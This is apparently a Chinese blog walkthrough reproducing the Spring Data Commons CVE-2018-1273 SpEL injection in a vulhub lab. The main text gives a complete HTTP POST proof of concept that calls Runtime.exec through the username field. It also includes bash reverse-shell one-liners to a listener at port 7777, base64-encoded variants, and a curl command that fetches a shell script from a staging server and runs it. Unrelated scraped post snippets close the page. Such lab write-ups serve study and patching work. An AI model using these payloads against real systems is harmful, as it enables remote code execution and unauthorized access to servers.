复现过程

  • 环境准备
  • 攻击流程
    • vulhub环境搭建
    • 构造poc
    • 利用-反弹shell-bash指令构造(失败)
    • 利用-反弹shell-从自己服务器下载.sh文件执行
  • 总结
  • 参考文档

环境准备

作者采用的是搭配是:
一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.194
一台用来下载反弹shell脚本的服务器(内网,如果有服务器更好)192.168.141.128

攻击流程

vulhub环境搭建

找到cve-2018-1273文件夹,通过"docker-compose build"和"docker-compose up -d"拉取环境,

之后访问服务器ip:8080/users看环境是否成功

构造poc

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

将localhost改为vulhub地址访问即可之后查看vulhub中是否产生了success文件,或者通过结果网页返回500可以进行攻击方判断是否成功


然后查看vulhub的docker容器中可以看到结果中存在success即说明验证成功 至此复现完成

利用-反弹shell-bash指令构造(失败)

在前面测试成功之后,由于是rce漏洞,作者想试试反弹shell这也是最费时间的且有个大坑按照网上说的通过执行bash命令进行反弹shell本人测试失败
按照网上执行bash命令思路:
1:是将 bash -i >& /dev/tcp/vps的ip/7777 0>&1其中的ip换为我自己攻击机的ip用来接收反弹的shell即构造成bash -i >& /dev/tcp/192.168.141.190/7777 0>&1
2:将构造的指令通过http://www.jackson-t.ca/runtime-exec-payloads.html加密,但由于作者电脑无法访问只能通过对别人加密成功的字符串进行改造,已知成功字符串为exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE}|{base64,-d}|{bash,-i}") 将中间base64字符串进行解密得到

可以看出此加密字符串就是将原来的bash命令加密成了base64格式,即作者将之前构造的bash指令进行base64加密,替换到原来的之前成功的字符串即可
exec("bash -c {echo,YmFzaCUyMC1pJTIwJTNFJTI2JTIwL2Rldi90Y3AvMTkyLjE2OC4xNDEuMTkwLzc3NzclMjAwJTNFJTI2MQ==}|{base64,-d}|{bash,-i}")
构造成功,然后带入到原来刚才复现成功的数据包中可以看到

并没有出现500而是直接是200出现界面与之前不符复现结果不符,经过一系列对比测试发现当加密字符串中出现’=‘会导致出现错误,故作者将’='删除测试通过,但是监听不到反弹shell,但是将原来构造的bash指令代入vulhub中发现结果可以反弹shell 故指令没问题,剩下的就是构造的加密之后的字符串出问题了,所以至此测试失败

利用-反弹shell-从自己服务器下载.sh文件执行

1.在服务端构造一个.txt文件然后文件内容为前面构造的bash指令即

之后在攻击机,让受害机访问自己的服务器下载文件
exec(“curl -o /tmp/bash.sh http://192.168.141.128/shell.txt”)
然后通过
exec(“bash /tmp/bash.sh”)调用执行刚才下载到的bash.sh可以在监听的端口看到反弹的shell

执行命令可以看到利用成功

总结

在整个复现和利用的过程中,复现的实现相对容易一下,但是在利用反弹shell的过程中,按照命令执行的思路出现了问题,如果有前辈知道原因可以在评论区留言.

参考文档

1.https://blog.csdn.net/YouthBelief/article/details/121259577
2.https://blog.csdn.net/zy15667076526/article/details/111413971
3.https://blog.csdn.net/weixin_41438728/article/details/110491164
4.https://www.cnblogs.com/cute-puli/p/15338017.html
5.https://www.wangan.com/docs/429
ps:有一些由于已经找不到了,就不挂了,感谢这么多前辈

cve-2018-1273复现思路及简单利用(避坑)相关推荐

  1. 收藏!亚马逊29条选品思路!新手小白避坑指南!

    亚马逊卖家如何选择产品一直是最令人困惑的问题,甚至比选择目标受众更难.如果他们选择不好,他们就不会卖出,如果他们选择不对,就不会有任何利润空间.那么如何选择产品呢?是从消费者的角度还是从产品的角度? ...

  2. 简单利用路由黑洞解决DDOS流量攻击

    黑洞路由,便是将所有无关路由吸入其中,使它们有来无回的路由,一般是admin主动建立的路由条目. 提到黑洞路由就要提一下null0接口. null0口是个永不down的口,一般用于管理,详见null0 ...

  3. 简单利用Redis实现草稿箱功能

    简单利用Redis实现草稿箱功能 我这边图方便直接把接收到的对象存为String,大家也可以用json存储,取的时候在转成json就行了.此处使用jedis. 具体实现的思路很简单,就是利用redis ...

  4. LeetCode—笔记—51、N皇后——递归回溯,个人思路,简单易懂

    LeetCode-笔记-51.N皇后--递归回溯,个人思路,简单易懂 51. N 皇后 n 皇后问题 研究的是如何将 n 个皇后放置在 n×n 的棋盘上,并且使皇后彼此之间不能相互攻击. 给你一个整数 ...

  5. 51nod 1270 数组的最大代价 思路:简单动态规划

    这题是看起来很复杂,但是换个思路就简单了的题目. 首先每个点要么取b[i],要么取1,因为取中间值毫无意义,不能增加最大代价S. 用一个二维数组做动态规划就很简单了. dp[i][0]表示第i个点取1 ...

  6. msfvenom生成木马的简单利用

    msfvenom生成木马的简单利用 1.简介 本篇文章将会用msfvenom生成一个windows下可执行木马exe的文件,用kali监听,靶机win10运行木马程序,实现控制靶机win10. 2.实 ...

  7. 思路如此简单的购买水果问题

    太可惜了 思路如此简单的购买水果问题 小红去买水果,袋装的,6个一袋,或是8个一袋,不能拆开散卖,要么不买,要么恰好买了n个水果, 且用的袋子数量最少. n范围:(1<=n<=100):不 ...

  8. 共享2018年公司年终总结简单PPT模板

    这份主题为2018年公司年终总结简单PPT模板是由办公资源所提供的PPT模板,这份模板可用于工作汇报,求职路演,公司演说等方面.上方的图片只是该PPT模板的部分页面内容.想获取PPT模板完整版的同学, ...

  9. 【算法】详解二分查找算法(思路很简单,细节是魔鬼)

    我周围的人几乎都认为二分查找很简单,但事实真的如此吗?二分查找真的很简单吗?并不简单.看看 Knuth 大佬(发明 KMP 算法的那位)怎么说的: Although the basic idea of ...

最新文章

  1. OpenCV4中的非典型深度学习模型
  2. IT规划中的技术体系架构
  3. Windows Phone 二、WP控件
  4. C# 模板编程相关学习总结
  5. Metric Learning度量学习:**矩阵学习和图学习
  6. Python之令人心烦意乱的字符编码与转码
  7. C语言(第二章):数据类型、运算符、表达式
  8. 个人简历小程序前端源码
  9. linux自动分区shell,SHELL脚本实现分区
  10. html调用rpst 源码_parseHTML 函数源码解析(四) AST 基本形成
  11. html脚本src,HTML script脚本标签
  12. mysql开机启动_MySQL开机自动启动的设置方法
  13. 怎样计算计算机的硬盘大小,硬盘容量大小计算的办法
  14. 中介效应调节效应分析对比及操作详解
  15. 海盗分赃问题-----简化问题,分而治之
  16. Linux C程序修改进程名称
  17. PowerDesinger12.5破解中文版-资源共享与安装介绍
  18. 深入浅出MFC:MFC的消息机制
  19. 在线问答与科学管理系统
  20. 无线充电:促进电动汽车普及的重要技术

热门文章

  1. 让计算机网络与作文教学,“基于计算机和网络环境下的写作教学研究”课题组  2015-2016学年度上学期研究计划...
  2. java ready()_Java BufferedReader ready()用法及代码示例
  3. 一意孤行亚马逊----一个钓鱼疯子的巴西亚马逊之行( 5.九月21日 亚马逊的鱼并不好钓) 作者:咸水鱼...
  4. 基于java的cad_基于JavaCAD架构的IP知识产权保护
  5. kindle如何导入azw3格式的电子书
  6. iOS中scheme详解
  7. 8-25 26 veriloga语言
  8. 微信公众平台开发(56)优惠券
  9. React---什么是受控组件、非受控组件
  10. java安装及设置eclipse